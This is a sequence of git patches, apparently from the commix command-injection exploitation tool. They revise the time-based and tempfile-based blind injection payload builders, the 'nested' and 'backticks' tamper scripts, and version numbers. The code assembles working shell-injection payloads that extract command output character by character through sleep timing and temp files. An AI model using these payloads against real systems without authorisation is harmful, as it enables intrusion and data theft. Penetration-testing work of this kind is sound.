STABLE_RELEASE: From 64ea80b98cd55bca2040e329ae464c018a46e0e4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 20 Jan 2025 07:51:44 +0200 Subject: [PATCH 528/560] Fixes https://github.com/commixproject/commix/issues/993 --- .../injections/blind/techniques/time_based/tb_handler.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 46c6429d8d..048740281d 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -38,6 +38,7 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, checks.time_relative_attaks_msg() settings.TIME_RELATIVE_ATTACK = True + tmp_path = "" if url_time_response >= settings.SLOW_TARGET_RESPONSE: warn_msg = "It is highly recommended, due to serious response delays, " warn_msg += "to skip the time-based (blind) technique and to continue " @@ -51,18 +52,17 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": - if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: + if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: return False elif proceed_option.lower() == "s": from src.core.injections.semiblind.techniques.file_based import fb_handler - fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) + fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) elif proceed_option.lower() == "q": raise SystemExit() else: common.invalid_option(proceed_option) pass else: - tmp_path = "" if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: settings.TIME_RELATIVE_ATTACK = False return False diff --git a/src/utils/settings.py b/src/utils/settings.py index 15daa009a2..44321a7fc3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d708896f711127eb4b95a5d848843320bf6cd784 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 23 Jan 2025 08:33:58 +0200 Subject: [PATCH 529/560] Minor update regarding tamper script "nested.py" --- src/core/tamper/nested.py | 40 ++++++++++++++------------------------- src/utils/settings.py | 2 +- 2 files changed, 15 insertions(+), 27 deletions(-) diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index c594a4b0b9..c925fd5a59 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -25,34 +25,22 @@ __tamper__ = "nested" +def nested(): + if menu.options.prefix: + menu.options.prefix = "\"" + menu.options.prefix + else: + menu.options.prefix = "\"" + if menu.options.suffix: + menu.options.suffix = menu.options.suffix + "\"" + else: + menu.options.suffix = "\"" + if not settings.TAMPER_SCRIPTS[__tamper__]: - settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.TARGET_OS != settings.OS.WINDOWS: + settings.TAMPER_SCRIPTS[__tamper__] = True + nested() -double_quote = "\"" def tamper(payload): - def nested(payload): - if settings.TARGET_OS != settings.OS.WINDOWS: - settings.TAMPER_SCRIPTS[__tamper__] = True - if not menu.options.prefix and not menu.options.suffix: - payload = double_quote + payload + double_quote - else: - if menu.options.prefix and menu.options.prefix != double_quote: - menu.options.prefix = menu.options.prefix + double_quote - else: - menu.options.prefix = double_quote - - if menu.options.suffix and menu.options.suffix != double_quote: - menu.options.suffix = menu.options.suffix + double_quote - else: - menu.options.suffix = double_quote - return payload - - if settings.TARGET_OS != settings.OS.WINDOWS: - if settings.EVAL_BASED_STATE != False: - return payload - else: - return nested(payload) - else: - return payload + return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 44321a7fc3..2b37cde394 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7f2a0ddf56d610d80f66266599d07c5c1523982e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 27 Jan 2025 09:06:33 +0200 Subject: [PATCH 530/560] Minor update regarding time-related techniques (i.e. "time-based", "tempfile-based") payloads. --- .../techniques/time_based/tb_payloads.py | 66 ++++++++++--------- .../techniques/tempfile_based/tfb_payloads.py | 66 +++++++++---------- src/core/tamper/backticks.py | 1 + src/utils/settings.py | 2 +- 4 files changed, 69 insertions(+), 66 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 37a49cc14c..4a072996dd 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -48,10 +48,11 @@ def decision(separator, TAG, output_length, timesec, http_request_method): payload = (separator + "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(output_length) + " -ne $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + "str1=${#str}" + separator + + # "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(output_length) + " -eq $str1 ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + "fi" ) @@ -63,7 +64,8 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "sleep 0 " + separator + "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + + "str1=${#str}" + separator + + # "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + "[ " + str(output_length) + " -eq $str1 ]" + separator + "sleep " + str(timesec) ) @@ -110,9 +112,9 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me payload = (separator + # Find the length of the output, using readline(). "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(output_length) + " -ne ${str1} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(output_length) + " -eq ${str1} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) @@ -183,11 +185,11 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): if separator == ";" or separator == "%0a": payload = (separator + "str=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + - #"str1=${%23str}" + separator + - "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(output_length) + " -ne $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + # "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + + "str1=${#str}" + separator + + "if [ " + str(output_length) + " -eq $str1 ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + "fi" ) @@ -198,8 +200,8 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "sleep 0" + separator + "str=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=" + settings.CMD_SUB_PREFIX + "expr length $str)" + separator + - #"str1=${%23str} " + separator + + "str1=${#str}" + separator + + # "str1=" + settings.CMD_SUB_PREFIX + "expr length $str)" + separator + "[ " + str(output_length) + " -eq $str1 ]" + separator + "sleep " + str(timesec) ) @@ -246,10 +248,10 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque payload = (separator + # Find the length of the output, using readline(). "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(output_length) + " -ne ${str1} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + - "fi " + "if [ " + str(output_length) + " -eq ${str1} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) elif separator == _urllib.parse.quote("&&") : @@ -321,10 +323,10 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # Transform from Ascii to Decimal. "str=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$char'\"" + settings.CMD_SUB_SUFFIX + separator + # Perform the time-based comparisons - "if [ " + str(ascii_char) + " -ne $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " + "if [ " + str(ascii_char) + " -eq $str ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + + "fi" ) elif separator == _urllib.parse.quote("&&") : @@ -386,9 +388,9 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http if separator == ";" or separator == "%0a": payload = (separator + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) @@ -453,9 +455,9 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me if separator == ";" or separator == "%0a": payload = (separator + "str=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + - "if [ " + str(ascii_char) + " -ne $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + "if [ " + str(ascii_char) + " -eq $str ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + "fi" ) @@ -510,9 +512,9 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt if separator == ";" or separator == "%0a": payload = (separator + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index f8101c6335..b3f8132439 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -54,11 +54,11 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - #"str1=${%23str}" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + # "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + + "str1=${#str}" + separator + + "if [ " + str(j) + " -eq ${str1} ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + "fi" ) @@ -69,8 +69,8 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "sleep 0" + separator + "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - #"str1=${%23str} " + separator + + #"str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + + "str1=${#str} " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + "sleep " + str(timesec) ) @@ -122,9 +122,9 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(j) + " -eq ${str1} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) @@ -212,13 +212,13 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "echo $str > " + OUTPUT_TEXTFILE + separator + "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - #"str1=${%23str}" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then sleep 0 " + separator + - "else sleep " + str(timesec) + separator + + #"str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + + "str1=${#str}" + separator + + "if [ " + str(j) + " -eq ${str1} ]" + separator + + # "then sleep 0 " + separator + + "then sleep " + str(timesec) + separator + # Transform to ASCII - "str1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 < " +OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "str1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $str1 > " + OUTPUT_TEXTFILE + separator + "fi" ) @@ -232,8 +232,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "echo $str" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - #"str1=${%23str}" + separator + + #"str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + + "str1=${#str}" + separator + "[ " + str(j) + " -eq ${str1} ]" + separator + "sleep " + str(timesec) + separator + # Transform to ASCII @@ -294,9 +294,9 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(j) + " -ne ${str1} ] " + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(j) + " -eq ${str1} ] " + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) @@ -364,9 +364,9 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http payload = (separator + # Use space as delimiter "str=" + settings.CMD_SUB_PREFIX + "cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + "fi" ) @@ -427,9 +427,9 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t if separator == ";" or separator == "%0a" : payload = (separator + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) @@ -492,9 +492,9 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth if separator == ";" or separator == "%0a" : payload = (separator + "str=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + "if [ " + str(ord(str(ascii_char))) + " -eq ${str} ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + "fi" ) @@ -549,9 +549,9 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, if separator == ";" or separator == "%0a" : payload = (separator + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index ae21a90b08..6ce3af9bd2 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -32,6 +32,7 @@ def tamper(payload): if not menu.options.alter_shell and not settings.TARGET_OS == settings.OS.WINDOWS: settings.USE_BACKTICKS = True settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = "`" + payload = payload.replace("${#str}", settings.CMD_SUB_PREFIX + "expr" + settings.WHITESPACES[0] + "length" + settings.WHITESPACES[0] + "\"$str\"" + settings.CMD_SUB_SUFFIX) return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 2b37cde394..2be487ca76 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4117adea6d76279906857abeab4274d08637dbb6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 31 Jan 2025 07:59:32 +0200 Subject: [PATCH 531/560] Trivial update --- .../injections/blind/techniques/time_based/tb_payloads.py | 2 ++ .../results_based/techniques/eval_based/eb_payloads.py | 1 + .../semiblind/techniques/file_based/fb_payloads.py | 6 +++--- .../semiblind/techniques/tempfile_based/tfb_payloads.py | 2 +- src/utils/settings.py | 2 +- 5 files changed, 8 insertions(+), 5 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 4a072996dd..c8254d5fa7 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -244,6 +244,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: + settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a": payload = (separator + # Find the length of the output, using readline(). @@ -385,6 +386,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: + settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a": payload = (separator + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 54da00abff..45dd58ab17 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -222,6 +222,7 @@ def cmd_execution_alter_shell(separator, TAG, cmd): separator + "echo '" + TAG + "'`)%3B" ) else: + settings.USER_APPLIED_CMD = cmd if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index cafa7d2664..e6045a2dae 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -71,7 +71,6 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): Execute shell commands on vulnerable host. """ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): - if settings.TFB_DECIMAL == True: payload = (separator + cmd) @@ -87,7 +86,6 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): payload = (separator + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) - return payload """ @@ -106,9 +104,11 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): "') do @set /p = %i " + settings.CMD_NUL ) 